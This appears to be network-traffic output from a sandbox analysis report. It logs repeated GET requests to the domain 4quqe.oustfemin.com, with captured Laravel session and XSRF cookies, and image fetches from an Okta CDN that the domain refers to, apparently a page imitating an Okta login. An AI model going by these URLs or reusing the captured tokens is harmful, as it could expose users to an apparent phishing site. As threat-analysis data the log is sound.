Source: global traffic	HTTP traffic detected: GET /klOfYNJikxU2rmLmoZX2LlJ6klg8apYwJXpKXmHeWRPdOswx220 HTTP/1.1Host: 4quqe.oustfemin.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://4quqe.oustfemin.com/UBEEARDRFZBLCIYKXAUWBWRAHOCMNEGDQH2433266666869621683651896985349085yhwb2tjkdd31cqa3v86btzc56cuaqwuv36?guhzhqadixxzzfhbiawieewvbiufnckvcamtf392tn15ul1pchape2e3xncc1p6b0dAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlZOV0U5WUg4T1BKb2pHTWFObWI3UFE9PSIsInZhbHVlIjoicC9Dbm9TaVVLNTJsRGtSdWU1N3ZJZ3QvVWdtTDJmRGhhQ2JNMGUvckM4aU9HOHArT2VVSDlVcnNJb2dJaHMrOUhxRldESVRjdFVTOXovWC9yUDlLcS9vVkVLQWtENzRmY2VOeCs3TGEySVg2b0I3OGh0WEo3eEFvUDFURlpVQTgiLCJtYWMiOiI1ZWIzMzJmMmRiNjFkYzMzZDkyYTM3OTMyYTFjZWI1YzgxZWYzMTYwOTE5MTI0YzFiYzZmMDQ2YTE4NzNjNTYwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlpSLzZ3c3lreEg5d1JqTitFVFpnYkE9PSIsInZhbHVlIjoiNFYyamREZXlGbjVPYlNoZTNXUHB3d0VMdURFbUFsUTFWM2JONi9FdUR5aE1rUiszU2xPZ01XbkcvbVlkY2hDeHpRdnI1OWw1dXF4blFFRnd6S0tTQjlQTkFlVjA1cktxRkJVZFpCcThLWE5idFFsdE5aWk53UkEyN3FIT2E4d3EiLCJtYWMiOiI4NjY3MDkyMjljMjA0MWM1ZjJlODMwNDAwOWUxZmViMTQxNmIwNzQ4NzhmMDM1ZDZjYWIxZWMyNDBiZWI2MmUzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /fs/bcg/4/gfsh9pi7jcWKJKMAs1t7 HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://4quqe.oustfemin.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wx9uKr77gZUwOw0J3Z7hyOplopIHnVHZGF7vPJq34130 HTTP/1.1Host: 4quqe.oustfemin.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://4quqe.oustfemin.com/UBEEARDRFZBLCIYKXAUWBWRAHOCMNEGDQH2433266666869621683651896985349085yhwb2tjkdd31cqa3v86btzc56cuaqwuv36?guhzhqadixxzzfhbiawieewvbiufnckvcamtf392tn15ul1pchape2e3xncc1p6b0dAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlZOV0U5WUg4T1BKb2pHTWFObWI3UFE9PSIsInZhbHVlIjoicC9Dbm9TaVVLNTJsRGtSdWU1N3ZJZ3QvVWdtTDJmRGhhQ2JNMGUvckM4aU9HOHArT2VVSDlVcnNJb2dJaHMrOUhxRldESVRjdFVTOXovWC9yUDlLcS9vVkVLQWtENzRmY2VOeCs3TGEySVg2b0I3OGh0WEo3eEFvUDFURlpVQTgiLCJtYWMiOiI1ZWIzMzJmMmRiNjFkYzMzZDkyYTM3OTMyYTFjZWI1YzgxZWYzMTYwOTE5MTI0YzFiYzZmMDQ2YTE4NzNjNTYwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlpSLzZ3c3lreEg5d1JqTitFVFpnYkE9PSIsInZhbHVlIjoiNFYyamREZXlGbjVPYlNoZTNXUHB3d0VMdURFbUFsUTFWM2JONi9FdUR5aE1rUiszU2xPZ01XbkcvbVlkY2hDeHpRdnI1OWw1dXF4blFFRnd6S0tTQjlQTkFlVjA1cktxRkJVZFpCcThLWE5idFFsdE5aWk53UkEyN3FIT2E4d3EiLCJtYWMiOiI4NjY3MDkyMjljMjA0MWM1ZjJlODMwNDAwOWUxZmViMTQxNmIwNzQ4NzhmMDM1ZDZjYWIxZWMyNDBiZWI2MmUzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /opQcARUgS4Ali3TwsyZ6W0TNTwSBamnbjs1v05DL5rgoqWAuL45140 HTTP/1.1Host: 4quqe.oustfemin.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://4quqe.oustfemin.com/UBEEARDRFZBLCIYKXAUWBWRAHOCMNEGDQH2433266666869621683651896985349085yhwb2tjkdd31cqa3v86btzc56cuaqwuv36?guhzhqadixxzzfhbiawieewvbiufnckvcamtf392tn15ul1pchape2e3xncc1p6b0dAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlZOV0U5WUg4T1BKb2pHTWFObWI3UFE9PSIsInZhbHVlIjoicC9Dbm9TaVVLNTJsRGtSdWU1N3ZJZ3QvVWdtTDJmRGhhQ2JNMGUvckM4aU9HOHArT2VVSDlVcnNJb2dJaHMrOUhxRldESVRjdFVTOXovWC9yUDlLcS9vVkVLQWtENzRmY2VOeCs3TGEySVg2b0I3OGh0WEo3eEFvUDFURlpVQTgiLCJtYWMiOiI1ZWIzMzJmMmRiNjFkYzMzZDkyYTM3OTMyYTFjZWI1YzgxZWYzMTYwOTE5MTI0YzFiYzZmMDQ2YTE4NzNjNTYwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlpSLzZ3c3lreEg5d1JqTitFVFpnYkE9PSIsInZhbHVlIjoiNFYyamREZXlGbjVPYlNoZTNXUHB3d0VMdURFbUFsUTFWM2JONi9FdUR5aE1rUiszU2xPZ01XbkcvbVlkY2hDeHpRdnI1OWw1dXF4blFFRnd6S0tTQjlQTkFlVjA1cktxRkJVZFpCcThLWE5idFFsdE5aWk53UkEyN3FIT2E4d3EiLCJtYWMiOiI4NjY3MDkyMjljMjA0MWM1ZjJlODMwNDAwOWUxZmViMTQxNmIwNzQ4NzhmMDM1ZDZjYWIxZWMyNDBiZWI2MmUzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /nz2XauxEJD6GOWIsNGbmhsISqkHYGospXOJ06xJDflJxNYAMTIpSqdz HTTP/1.1Host: 4quqe.oustfemin.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImpOQlowcXZ3SlptOHBzcHZoYXgzaGc9PSIsInZhbHVlIjoiRFJwcGo3NUEvWVFVdkR5dXdxd3doRzFibS93RXhYa05pVEZpUkp3eWhvbmd2QTVIaGs4dDZkK3FNQTV0Uy9DNXBXbE14ZWY2dWRLQUZmNU5vanlWcUozVjNHZXFKNVNSYjFsQzU1NGRlVU5TaXdWOWppYWppKzZzWTFhSE5FUzgiLCJtYWMiOiI1ZTY3Y2JlYzhiZGEwNWEyYjhmOGRjMjJkMDQ0ZTY2MzMyOWJiZjhjY2QwN2MwYjBjMThhNzM0ZGJjY2NkZGFlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InkxMkVsN3I2Y3ZIck5JMXFQSXlUSWc9PSIsInZhbHVlIjoiVmQwTDlhd3VadjhVM1paOVVZbmZQc25hZkd2ZU9EUi84TnJsbTh2WGIwYzRLY25CUjkxcFNQbjVnMzJQaWR4YUZIcEZWcWFwMlM0aHV0OEVwdzkzVldaQTRsMmY0VnY2Wk5GWkpVODhaRzVqRitBK3l2UHRjcExtdDVkSHNyZngiLCJtYWMiOiIzNTk2ZWVhMDZjYTU4NjgxN2FiOTMxODIxZDAyZmU3NTllYjA5Mzk1Yjk1OGM5YjhmMDI2MjlkMjdkZDJlY2MzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /eftGLBWu8OUJRb0dwkGNkbppjbuklsvH9IfHP7yQ0ZroZwJMFEez378146 HTTP/1.1Host: 4quqe.oustfemin.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://4quqe.oustfemin.com/UBEEARDRFZBLCIYKXAUWBWRAHOCMNEGDQH2433266666869621683651896985349085yhwb2tjkdd31cqa3v86btzc56cuaqwuv36?guhzhqadixxzzfhbiawieewvbiufnckvcamtf392tn15ul1pchape2e3xncc1p6b0dAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlZOV0U5WUg4T1BKb2pHTWFObWI3UFE9PSIsInZhbHVlIjoicC9Dbm9TaVVLNTJsRGtSdWU1N3ZJZ3QvVWdtTDJmRGhhQ2JNMGUvckM4aU9HOHArT2VVSDlVcnNJb2dJaHMrOUhxRldESVRjdFVTOXovWC9yUDlLcS9vVkVLQWtENzRmY2VOeCs3TGEySVg2b0I3OGh0WEo3eEFvUDFURlpVQTgiLCJtYWMiOiI1ZWIzMzJmMmRiNjFkYzMzZDkyYTM3OTMyYTFjZWI1YzgxZWYzMTYwOTE5MTI0YzFiYzZmMDQ2YTE4NzNjNTYwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlpSLzZ3c3lreEg5d1JqTitFVFpnYkE9PSIsInZhbHVlIjoiNFYyamREZXlGbjVPYlNoZTNXUHB3d0VMdURFbUFsUTFWM2JONi9FdUR5aE1rUiszU2xPZ01XbkcvbVlkY2hDeHpRdnI1OWw1dXF4blFFRnd6S0tTQjlQTkFlVjA1cktxRkJVZFpCcThLWE5idFFsdE5aWk53UkEyN3FIT2E4d3EiLCJtYWMiOiI4NjY3MDkyMjljMjA0MWM1ZjJlODMwNDAwOWUxZmViMTQxNmIwNzQ4NzhmMDM1ZDZjYWIxZWMyNDBiZWI2MmUzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /klOfYNJikxU2rmLmoZX2LlJ6klg8apYwJXpKXmHeWRPdOswx220 HTTP/1.1Host: 4quqe.oustfemin.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImpOQlowcXZ3SlptOHBzcHZoYXgzaGc9PSIsInZhbHVlIjoiRFJwcGo3NUEvWVFVdkR5dXdxd3doRzFibS93RXhYa05pVEZpUkp3eWhvbmd2QTVIaGs4dDZkK3FNQTV0Uy9DNXBXbE14ZWY2dWRLQUZmNU5vanlWcUozVjNHZXFKNVNSYjFsQzU1NGRlVU5TaXdWOWppYWppKzZzWTFhSE5FUzgiLCJtYWMiOiI1ZTY3Y2JlYzhiZGEwNWEyYjhmOGRjMjJkMDQ0ZTY2MzMyOWJiZjhjY2QwN2MwYjBjMThhNzM0ZGJjY2NkZGFlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InkxMkVsN3I2Y3ZIck5JMXFQSXlUSWc9PSIsInZhbHVlIjoiVmQwTDlhd3VadjhVM1paOVVZbmZQc25hZkd2ZU9EUi84TnJsbTh2WGIwYzRLY25CUjkxcFNQbjVnMzJQaWR4YUZIcEZWcWFwMlM0aHV0OEVwdzkzVldaQTRsMmY0VnY2Wk5GWkpVODhaRzVqRitBK3l2UHRjcExtdDVkSHNyZngiLCJtYWMiOiIzNTk2ZWVhMDZjYTU4NjgxN2FiOTMxODIxZDAyZmU3NTllYjA5Mzk1Yjk1OGM5YjhmMDI2MjlkMjdkZDJlY2MzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ijTLp2CToreFE8klRPbyfp7yzX8kad8OQ49Wh538NV5jvMGQmA56170 HTTP/1.1Host: 4quqe.oustfemin.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://4quqe.oustfemin.com/UBEEARDRFZBLCIYKXAUWBWRAHOCMNEGDQH2433266666869621683651896985349085yhwb2tjkdd31cqa3v86btzc56cuaqwuv36?guhzhqadixxzzfhbiawieewvbiufnckvcamtf392tn15ul1pchape2e3xncc1p6b0dAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImpOQlowcXZ3SlptOHBzcHZoYXgzaGc9PSIsInZhbHVlIjoiRFJwcGo3NUEvWVFVdkR5dXdxd3doRzFibS93RXhYa05pVEZpUkp3eWhvbmd2QTVIaGs4dDZkK3FNQTV0Uy9DNXBXbE14ZWY2dWRLQUZmNU5vanlWcUozVjNHZXFKNVNSYjFsQzU1NGRlVU5TaXdWOWppYWppKzZzWTFhSE5FUzgiLCJtYWMiOiI1ZTY3Y2JlYzhiZGEwNWEyYjhmOGRjMjJkMDQ0ZTY2MzMyOWJiZjhjY2QwN2MwYjBjMThhNzM0ZGJjY2NkZGFlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InkxMkVsN3I2Y3ZIck5JMXFQSXlUSWc9PSIsInZhbHVlIjoiVmQwTDlhd3VadjhVM1paOVVZbmZQc25hZkd2ZU9EUi84TnJsbTh2WGIwYzRLY25CUjkxcFNQbjVnMzJQaWR4YUZIcEZWcWFwMlM0aHV0OEVwdzkzVldaQTRsMmY0VnY2Wk5GWkpVODhaRzVqRitBK3l2UHRjcExtdDVkSHNyZngiLCJtYWMiOiIzNTk2ZWVhMDZjYTU4NjgxN2FiOTMxODIxZDAyZmU3NTllYjA5Mzk1Yjk1OGM5YjhmMDI2MjlkMjdkZDJlY2MzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ijPcVEeSmCWpySyuFQYrrGLm25YHKajvsXLAqraImEwhmVt1OeTi6J3V3vyz230 HTTP/1.1Host: 4quqe.oustfemin.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImpOQlowcXZ3SlptOHBzcHZoYXgzaGc9PSIsInZhbHVlIjoiRFJwcGo3NUEvWVFVdkR5dXdxd3doRzFibS93RXhYa05pVEZpUkp3eWhvbmd2QTVIaGs4dDZkK3FNQTV0Uy9DNXBXbE14ZWY2dWRLQUZmNU5vanlWcUozVjNHZXFKNVNSYjFsQzU1NGRlVU5TaXdWOWppYWppKzZzWTFhSE5FUzgiLCJtYWMiOiI1ZTY3Y2JlYzhiZGEwNWEyYjhmOGRjMjJkMDQ0ZTY2MzMyOWJiZjhjY2QwN2MwYjBjMThhNzM0ZGJjY2NkZGFlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InkxMkVsN3I2Y3ZIck5JMXFQSXlUSWc9PSIsInZhbHVlIjoiVmQwTDlhd3VadjhVM1paOVVZbmZQc25hZkd2ZU9EUi84TnJsbTh2WGIwYzRLY25CUjkxcFNQbjVnMzJQaWR4YUZIcEZWcWFwMlM0aHV0OEVwdzkzVldaQTRsMmY0VnY2Wk5GWkpVODhaRzVqRitBK3l2UHRjcExtdDVkSHNyZngiLCJtYWMiOiIzNTk2ZWVhMDZjYTU4NjgxN2FiOTMxODIxZDAyZmU3NTllYjA5Mzk1Yjk1OGM5YjhmMDI2MjlkMjdkZDJlY2MzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /wxv021dpND9JZ2cUC61vV93UbPenOmnGW9KTt4y2I1KAPGXDeab180 HTTP/1.1Host: 4quqe.oustfemin.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://4quqe.oustfemin.com/UBEEARDRFZBLCIYKXAUWBWRAHOCMNEGDQH2433266666869621683651896985349085yhwb2tjkdd31cqa3v86btzc56cuaqwuv36?guhzhqadixxzzfhbiawieewvbiufnckvcamtf392tn15ul1pchape2e3xncc1p6b0dAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImpOQlowcXZ3SlptOHBzcHZoYXgzaGc9PSIsInZhbHVlIjoiRFJwcGo3NUEvWVFVdkR5dXdxd3doRzFibS93RXhYa05pVEZpUkp3eWhvbmd2QTVIaGs4dDZkK3FNQTV0Uy9DNXBXbE14ZWY2dWRLQUZmNU5vanlWcUozVjNHZXFKNVNSYjFsQzU1NGRlVU5TaXdWOWppYWppKzZzWTFhSE5FUzgiLCJtYWMiOiI1ZTY3Y2JlYzhiZGEwNWEyYjhmOGRjMjJkMDQ0ZTY2MzMyOWJiZjhjY2QwN2MwYjBjMThhNzM0ZGJjY2NkZGFlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InkxMkVsN3I2Y3ZIck5JMXFQSXlUSWc9PSIsInZhbHVlIjoiVmQwTDlhd3VadjhVM1paOVVZbmZQc25hZkd2ZU9EUi84TnJsbTh2WGIwYzRLY25CUjkxcFNQbjVnMzJQaWR4YUZIcEZWcWFwMlM0aHV0OEVwdzkzVldaQTRsMmY0VnY2Wk5GWkpVODhaRzVqRitBK3l2UHRjcExtdDVkSHNyZngiLCJtYWMiOiIzNTk2ZWVhMDZjYTU4NjgxN2FiOTMxODIxZDAyZmU3NTllYjA5Mzk1Yjk1OGM5YjhmMDI2MjlkMjdkZDJlY2MzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /34tXF5vOTwPWG7ghRSTWNCY8U9mB4O89110 HTTP/1.1Host: 4quqe.oustfemin.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImpOQlowcXZ3SlptOHBzcHZoYXgzaGc9PSIsInZhbHVlIjoiRFJwcGo3NUEvWVFVdkR5dXdxd3doRzFibS93RXhYa05pVEZpUkp3eWhvbmd2QTVIaGs4dDZkK3FNQTV0Uy9DNXBXbE14ZWY2dWRLQUZmNU5vanlWcUozVjNHZXFKNVNSYjFsQzU1NGRlVU5TaXdWOWppYWppKzZzWTFhSE5FUzgiLCJtYWMiOiI1ZTY3Y2JlYzhiZGEwNWEyYjhmOGRjMjJkMDQ0ZTY2MzMyOWJiZjhjY2QwN2MwYjBjMThhNzM0ZGJjY2NkZGFlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InkxMkVsN3I2Y3ZIck5JMXFQSXlUSWc9PSIsInZhbHVlIjoiVmQwTDlhd3VadjhVM1paOVVZbmZQc25hZkd2ZU9EUi84TnJsbTh2WGIwYzRLY25CUjkxcFNQbjVnMzJQaWR4YUZIcEZWcWFwMlM0aHV0OEVwdzkzVldaQTRsMmY0VnY2Wk5GWkpVODhaRzVqRitBK3l2UHRjcExtdDVkSHNyZngiLCJtYWMiOiIzNTk2ZWVhMDZjYTU4NjgxN2FiOTMxODIxZDAyZmU3NTllYjA5Mzk1Yjk1OGM5YjhmMDI2MjlkMjdkZDJlY2MzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /rsYhvroAIArkSYfucuHoMsxdZ0ghDjdWp1MVKJoCKLd9cd193 HTTP/1.1Host: 4quqe.oustfemin.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://4quqe.oustfemin.com/UBEEARDRFZBLCIYKXAUWBWRAHOCMNEGDQH2433266666869621683651896985349085yhwb2tjkdd31cqa3v86btzc56cuaqwuv36?guhzhqadixxzzfhbiawieewvbiufnckvcamtf392tn15ul1pchape2e3xncc1p6b0dAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImpOQlowcXZ3SlptOHBzcHZoYXgzaGc9PSIsInZhbHVlIjoiRFJwcGo3NUEvWVFVdkR5dXdxd3doRzFibS93RXhYa05pVEZpUkp3eWhvbmd2QTVIaGs4dDZkK3FNQTV0Uy9DNXBXbE14ZWY2dWRLQUZmNU5vanlWcUozVjNHZXFKNVNSYjFsQzU1NGRlVU5TaXdWOWppYWppKzZzWTFhSE5FUzgiLCJtYWMiOiI1ZTY3Y2JlYzhiZGEwNWEyYjhmOGRjMjJkMDQ0ZTY2MzMyOWJiZjhjY2QwN2MwYjBjMThhNzM0ZGJjY2NkZGFlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InkxMkVsN3I2Y3ZIck5JMXFQSXlUSWc9PSIsInZhbHVlIjoiVmQwTDlhd3VadjhVM1paOVVZbmZQc25hZkd2ZU9EUi84TnJsbTh2WGIwYzRLY25CUjkxcFNQbjVnMzJQaWR4YUZIcEZWcWFwMlM0aHV0OEVwdzkzVldaQTRsMmY0VnY2Wk5GWkpVODhaRzVqRitBK3l2UHRjcExtdDVkSHNyZngiLCJtYWMiOiIzNTk2ZWVhMDZjYTU4NjgxN2FiOTMxODIxZDAyZmU3NTllYjA5Mzk1Yjk1OGM5YjhmMDI2MjlkMjdkZDJlY2MzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /fs/bcg/4/gfsh9pi7jcWKJKMAs1t7 HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wx9uKr77gZUwOw0J3Z7hyOplopIHnVHZGF7vPJq34130 HTTP/1.1Host: 4quqe.oustfemin.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImpOQlowcXZ3SlptOHBzcHZoYXgzaGc9PSIsInZhbHVlIjoiRFJwcGo3NUEvWVFVdkR5dXdxd3doRzFibS93RXhYa05pVEZpUkp3eWhvbmd2QTVIaGs4dDZkK3FNQTV0Uy9DNXBXbE14ZWY2dWRLQUZmNU5vanlWcUozVjNHZXFKNVNSYjFsQzU1NGRlVU5TaXdWOWppYWppKzZzWTFhSE5FUzgiLCJtYWMiOiI1ZTY3Y2JlYzhiZGEwNWEyYjhmOGRjMjJkMDQ0ZTY2MzMyOWJiZjhjY2QwN2MwYjBjMThhNzM0ZGJjY2NkZGFlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InkxMkVsN3I2Y3ZIck5JMXFQSXlUSWc9PSIsInZhbHVlIjoiVmQwTDlhd3VadjhVM1paOVVZbmZQc25hZkd2ZU9EUi84TnJsbTh2WGIwYzRLY25CUjkxcFNQbjVnMzJQaWR4YUZIcEZWcWFwMlM0aHV0OEVwdzkzVldaQTRsMmY0VnY2Wk5GWkpVODhaRzVqRitBK3l2UHRjcExtdDVkSHNyZngiLCJtYWMiOiIzNTk2ZWVhMDZjYTU4NjgxN2FiOTMxODIxZDAyZmU3NTllYjA5Mzk1Yjk1OGM5YjhmMDI2MjlkMjdkZDJlY2MzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /opQcARUgS4Ali3TwsyZ6W0TNTwSBamnbjs1v05DL5rgoqWAuL45140 HTTP/1.1Host: 4quqe.oustfemin.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImpOQlowcXZ3SlptOHBzcHZoYXgzaGc9PSIsInZhbHVlIjoiRFJwcGo3NUEvWVFVdkR5dXdxd3doRzFibS93RXhYa05pVEZpUkp3eWhvbmd2QTVIaGs4dDZkK3FNQTV0Uy9DNXBXbE14ZWY2dWRLQUZmNU5vanlWcUozVjNHZXFKNVNSYjFsQzU1NGRlVU5TaXdWOWppYWppKzZzWTFhSE5FUzgiLCJtYWMiOiI1ZTY3Y2JlYzhiZGEwNWEyYjhmOGRjMjJkMDQ0ZTY2MzMyOWJiZjhjY2QwN2MwYjBjMThhNzM0ZGJjY2NkZGFlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InkxMkVsN3I2Y3ZIck5JMXFQSXlUSWc9PSIsInZhbHVlIjoiVmQwTDlhd3VadjhVM1paOVVZbmZQc25hZkd2ZU9EUi84TnJsbTh2WGIwYzRLY25CUjkxcFNQbjVnMzJQaWR4YUZIcEZWcWFwMlM0aHV0OEVwdzkzVldaQTRsMmY0VnY2Wk5GWkpVODhaRzVqRitBK3l2UHRjcExtdDVkSHNyZngiLCJtYWMiOiIzNTk2ZWVhMDZjYTU4NjgxN2FiOTMxODIxZDAyZmU3NTllYjA5Mzk1Yjk1OGM5YjhmMDI2MjlkMjdkZDJlY2MzIiwidGFnIjoiIn0%3D
